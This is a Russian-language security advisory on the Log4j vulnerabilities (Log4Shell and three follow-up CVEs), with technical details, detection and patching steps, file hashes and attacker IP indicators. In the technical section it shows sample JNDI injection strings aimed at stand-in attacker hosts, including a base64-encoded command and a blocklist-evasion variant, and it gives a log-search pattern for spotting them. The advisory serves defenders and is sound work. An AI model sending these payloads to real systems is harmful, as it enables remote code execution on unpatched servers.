Обновлено от 28.12.2021


1. Описание зафиксированной угрозы


Первая уязвимость

[Название угрозы]: RCE-уязвимость в библиотеке журналирования приложений Apache Log4j (aka Log4Shell, Log4Jam)

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-44228

[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.14.1

[Severity]: 10/10

[Дата обнаружения]: 24.11.2021

Вторая уязвимость

[Название угрозы]: RCE-уязвимость в Apache Log4j2 Thread Context Lookup Pattern при нестандартных конфигурациях

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-45046

[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.15.0, кроме 2.12.2

[Severity]: 9/10

[Дата обнаружения]: 14.12.2021

Третья уязвимость

[Название угрозы]: Отсутствие защиты от неконтролируемой рекурсии при поиске

[Тип угрозы]: Отказ в обслуживание (DoS)

[CVE]: CVE-2021-45105

[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.16.0

[Severity]: 7.5/10

[Дата обнаружения]: 16.12.2021

Четвертая уязвимость

[Название угрозы]: RCE-уязвимость в библиотеке при нестандартных(вредоносных) конфигурациях

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-44832

[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-alpha7 до 2.17.0, за исключением 2.3.2 и 2.12.4

[Severity]: 6.6/10

[Дата обнаружения]: 11.12.2021

24 ноября 2021 года группа исследователей кибербезопасности из Alibaba Cloud официально уведомила Apache об обнаружении опасной уязвимости удаленного выполнения кода в библиотеке журналирования Apache Log4j 2.

Log4j 2 – это широко распространённая сторонняя библиотека журналов с открытым исходным кодом, используемая в программных приложениях и службах. Log4j 2 применяется в первую очередь в приложениях, написанных на языке программирования Java, однако также часто встречается в приложениях, которые используют другие языки, такие как Scala, Groovy или Clojure. Поскольку данные языки программирования используются множеством приложений как для OS Windows, так и Linux, то уязвимость имеет кроссплатформенный характер.

Уязвимость Log4Shell (CVE-2021-44228) является крайне опасной по трем причинам:

1)   Во-первых, злоумышленники могут легко ее эксплуатировать. Передать уязвимому компоненту эксплойт можно множеством способов, например, указав в поле логина или одном из полей HTTP заголовка простую текстовую команду. Особые навыки для этого не нужны.

2)   Во-вторых, библиотека, в которой нашли Log4Shell, чрезвычайно широко используется в системах и продуктах различных производителей. В числе пострадавших компании Apple, Amazon, CloudFlare, Google, LinkedIn, уязвимы решения от Cisco, Oracle, RedHat и др. Наиболее актуальный список подверженных уязвимости продуктов можно найти здесь.

3)   В-третьих, уязвимые продукты и решения, как правило, доступны в интернете, т.е. злоумышленнику не нужно каким-либо образом проникать в инфраструктуру компании-жертвы, достаточно всего лишь обратиться к веб-сайту или опубликованному решению, использующим уязвимый компонент.

В настоящее время Jet CSIRT фиксирует факты того, что уязвимость Log4Shell уже активно применяется в реальных атаках на организации, в том числе операторами шифровальщиков.

2. Технические детали угрозы

CVE-2021-44228

Библиотека Log4j 2 содержит класс JndiLookup (org.apache.logging.log4j.core.lookup), который позволяет получать переменные через механизм JNDI (Java Naming and Directory Interface).
JNDI – это служба каталогов, благодаря которой Java-клиенты могут находить данные (в форме объекта Java) в каталоге. JNDI имеет ряд интерфейсов поставщиков услуг (SPI), которые позволяют использовать различные службы каталогов, среди них – CORBA COS (Common Object Service), RMI (Remote Method Interface), DNS (Domain Name System), LDAP (Lightweight Directory Access Protocol), HTTP (Hyper-Text Transfer Protocol) и другие.

По умолчанию ключ для класса JndiLookup будет иметь префикс java:comp/env/, однако, если ключ содержит ":" (двоеточие), то префикс не будет добавлен. Таким образом, если передать серверу строку вида: ${jndi:dns://attacker.com/payload}, то сервер выполнит запрос к ресурсу attacker.com.
Эксплуатация уязвимости Log4Shell происходит в несколько этапов:

1) Злоумышленник каким-либо образом отправляет на атакуемый сервер данные, которые записываются в журнал посредством уязвимого компонента Log4j.
Это может быть HTTP-запрос, заполнение какой-либо веб-формы или поля для ввода данных на сайте, отправка сообщения в чат приложения и другое. Самое главное – чтобы эти данные записались в журнал атакуемого приложения.
Данные обычно содержат вредоносную нагрузку вида:
${jndi:dns://attacker.com/payload}
Где attacker.com – сервер, контролируемый злоумышленником;
payload – вредоносная нагрузка, которую злоумышленник хочет исполнить;

2) Уязвимый компонент Log4j через класс JndiLookup обратится к серверу злоумышленника посредством JNDI.

3) Контролируемый злоумышленником сервер возвращает в качестве ответа вредоносную нагрузку, которая исполняется на атакуемом хосте.

Пример вредоносных сущностей:

Пример внедрения вредоносной нагрузки в User-Agent:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua

Пример использования HTTP в качестве SPI:
${jndi:hxxp://x.x.x.x/callback/https-port-443-and-http-callback-scheme}

Пример использования LDAP в качестве SPI:
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}

Пример использования LDAP в качестве SPI и вредоносной нагрузки, закодированной base64:
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wZW50ZXN0Y2hlY2s=}

Пример кодирования конструкции ${jndi в base64:
${base64:JHtqbmRp

Пример обхода блокировок типовых строк, таких как jndi:ldap:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x

CVE-2021-45046

Данная уязвимость связана с недостаточным решением проблемы в рамках устранения уязвимости CVE-2021-44228.
В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) атакущий может сгенерировать вредоносный запрос с использованием JNDI и тем самым выполнить произвольный код в системе.

CVE-2021-45105

Уязвимость связана с отсутствием защиты от неконтролируемой рекурсии.
В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) злоумышленник может создать вредоносный запрос, содержащий рекурсивный поиск, что приведет к ошибке StackOverflowError и как следствие завершит процесс в системе.

CVE-2021-44832

При наличии разрешений на изменение файлов конфигурации злоумышленник может создать вредоносную конфигурацию с использованием JDBC Appender, где источник может ссылаться на JDNI URI, позволяющий выполнить произвольный код в системе.

3. Рекомендации по обнаружению уязвимых компонентов

Для обнаружения уязвимых компонентов в своей инфраструктуре рекомендуется выполнить следующие действия:

Важно! В первую очередь рекомендуется сфокусироваться на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.

Поиск уязвимых библиотек можно выполнить одним из следующих способов:
Выполнить поиск библиотек, содержащих JndiLookup.class:
В переменной %путь% необходимо указывать целевой каталог проверки или диск(Пример: "C:\" для Windows или "/" для Unix)

Для Unix-систем:

  • find %путь% -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' \; -print
  • Для Windows-систем:
  • Powershell 3.0 и выше:
  • Get-ChildItem -Path "%путь%" -File "*.jar" -rec -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
  • Powershell 2.0:
  • Get-ChildItem -Path "%путь%" -rec -force  -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Pat
    • Выполнить поиск уязвимых библиотек по хэш-суммам с помощью утилиты командной строки, разработанной компанией Lunasec:
    • https://github.com/lunasec-io/lunasec/releases
    Пример команды на Linux и OSX:

    log4shell scan your-project-dir/

    Пример команды на Windows:

    log4shell.exe scan your-project-dir/

    Пример вывода работы инструмента:

    8:08AM INF identified vulnerable path fileName=org/apache/logging/log4j/core/net/JndiManager$1.class path=test/struts-2.5.28-all/struts-2.5.28/apps/struts2-rest-showcase.war::WEB-INF/lib/log4j-core-2.12.1.jar versionInfo="log4j 2.8.2-2.12.0" Выполнить сканирование файловой системы на предмет наличия уязвимого файла log4j.jar.

    Установить инструмент: git clone https://github.com/lunasec-io/lunasec.git cd lunasec/tools/log4shell-scripts./setup.sh

    Запустить сканирование:./find-bad-deps.sh /path/to/folder/to/scan

    Это менее точный метод обнаружения, поскольку он требует присутствия файла log4j.jar внутри файловой системы для проверки.

    • Выполнить ручную проверку журналов на предмет попыток эксплуатации уязвимости.
      • Для Unix-систем: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+|\$\{base64:JHtqbmRp' /var/log//

    4. Рекомендации по устранению уязвимости Log4Shell

    Важно! В случае использования вендорского решения рекомендуется ознакомиться с официальным бюллетенем безопасности о Log4j от производителя. Наиболее актуальный список уязвимых решений по производителям приведен здесь.

    •   После определения списка уязвимых систем как можно скорее выполнить установку официального обновления безопасности от Apache Log4j  версии 2.17.1 для Java 8, 2.12.4 для Java 7 и 2.3.2 для Java 6: https://logging.apache.org/log4j/2.x/download.html

    Важно! В первую очередь рекомендуется выполнять обновления на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.

    • Если по каким-либо причинам оперативное обновление системы, доступной извне, невозможно, то рекомендуется изолировать систему от Интернета и выполнить следующее действие (также применимо ко внутренним системам в качестве временного решения): 

    • Удалить класс JndiLookup с помощью команды:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    ВНИМАНИЕ! Временные решения не гарантируют полного устранения проблем, для полноценного закрытия уязвимости необходимо выполнить обновление до версии 2.17.1 для Java 8, 2.12.4 для Java 7 и 2.3.2 для Java 6.Предыдущие меры по снижению риска, связанные с конфигурацией флага log4j2.noFormatMsgLookup в значение true, НЕ уменьшают опасность уязвимости. В результате применения данного метода, была обнаружена новая уязвимость CVE-2021-45046. В связи с чем, в качестве временного решения работает только удаление класса JndiLookup.

    5. Основные индикаторы компрометации

    Тип индикатора
    Список
    1. Хэш-суммы уязвимых .jar-файлов bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6
    58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae
    ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4
    dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e
    a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8
    7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b
    4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47
    473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6
    b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02
    dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d
    85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c
    db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a
    ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0
    a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d
    c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d
    8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc
    c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a
    6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2
    535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6
    42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239
    4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997
    df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6
    28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e
    cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392
    5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4
    ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa
    815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e
    10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c
    dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae
    9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d
    f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d
    5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3
    d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d
    3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100
    057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3
    5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c
    c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3
    6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992
    54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b
    e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1
    68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa
    9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463
    006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85
    2. IP-адреса, замеченные в атаках с использованием Log4Shell
    1.116.59[.]211
    1.179.247[.]182
    101.204.24[.]28
    101.35.154[.]34
    108.61.148[.]110
    109.195.85[.]191
    109.70.100[.]27
    111.59.85[.]209
    112.74.34[.]48
    112.74.52[.]90
    113.141.64[.]14
    113.98.224[.]68
    114.112.161[.]155
    118.27.36[.]56
    120.195.30[.]152
    120.211.140[.]116
    120.24.23[.]84
    121.4.56[.]143
    121.5.113[.]11
    124.224.87[.]11
    128.199.15[.]215
    128.199.24[.]9
    131.100.148[.]7
    133.18.201[.]195
    137.184.104[.]73
    137.184.106[.]119
    137.184.111[.]180
    137.184.98[.]176
    137.184.99[.]8
    138.197.106[.]234
    138.197.108[.]154
    138.197.9[.]239
    139.59.101[.]242
    139.59.103[.]254
    139.59.108[.]31
    139.59.163[.]74
    139.59.182[.]104
    139.59.188[.]119
    139.59.224[.]7
    139.59.96[.]42
    139.59.97.205
    139.59.99[.]80
    142.93.157[.]150
    143.198.180[.]150
    143.198.183[.]66
    146.56.131[.]161
    146.56.148[.]181
    146.70.75[.]54
    147.182.179[.]141
    147.182.187[.]229
    147.182.195[.]250
    147.182.216[.]21
    154.65.28[.]250
    157.245.102[.]218
    157.245.109[.]75
    157.245.111[.]218
    159.203.58[.]73
    159.223.42[.]182
    159.223.9[.]17
    159.65.59[.]77
    159.89.146[.]147
    159.89.150[.]150
    159.89.154[.]102
    159.89.154[.]185
    159.89.154[.]64
    159.89.94[.]219
    164.52.53[.]163
    164.90.196[.]7
    165.232.80[.]22
    167.172.94[.]250
    167.99.204[.]151
    167.99.216[.]68
    167.99.221[.]217
    167.99.221[.]249
    167.99.36[.]245
    167.99.44[.]32
    170.210.45[.]163
    171.221.235[.]43
    175.6.210[.]66
    177.185.117[.]129
    178.128.226[.]212
    178.176.202[.]121
    178.204.251[.]33
    178.62.23[.]146
    178.69.32[.]226
    18.204.199[.]0
    182.99.246[.]192
    185.220.100[.]242
    185.220.100[.]253
    185.220.101[.]135
    188.126.89[.]151
    188.166.102[.]47
    188.166.225[.]104
    188.166.33[.]244
    188.166.45[.]93
    188.166.86[.]206
    191.232.38[.]25
    194.127.167[.]100
    194.163.163[.]20
    194.99.105[.]75
    195.201.175[.]217
    195.251.41[.]139
    198.98.57[.]191
    20.205.104[.]227
    20.71.156[.]146
    209.97.133[.]112
    211.154.194[.]21
    217.112.83[.]246
    218.29.217[.]234
    218.89.222[.]71
    221.199.187[.]100
    221.226.159[.]22
    221.228.87[.]37
    35.232.163[.]113
    37.120.189[.]247
    37.120.232[.]51
    39.102.236[.]51
    41.203.140[.]114
    45.153.160[.]134
    46.105.95[.]220
    46.4.51[.]212
    49.233.62[.]251
    49.234.81[.]169
    49.7.224[.]217
    5.157.38[.]50
    5.254.43[.]59
    51.105.55[.]17
    60.31.180[.]149
    61.175.202[.]154
    61.178.32[.]114
    61.19.25[.]207
    68.183.198[.]36
    68.183.207[.]73
    68.183.35[.]171
    68.183.41[.]150
    68.183.44[.]143
    86.109.208[.]194
    89.249.63[.]3
    89.38.97[.]116
    89.38.97[.]144
    92.63.197[.]53
    94.103.94[.]113
    95.161.221[.]20
    96.8.169[.]55


    6. Ссылки

    https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html
    https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html
    https://logging.apache.org/log4j/2.x/security.html
    https://www.lunasec.io/docs/blog/log4j-zero-day/
    https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
    https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
    https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
    https://github.com/lunasec-io/lunasec/releases
    https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
    https://github.com/YfryTchsGD/Log4jAttackSurface
    https://github.com/NCSC-NL/log4shell/tree/main/software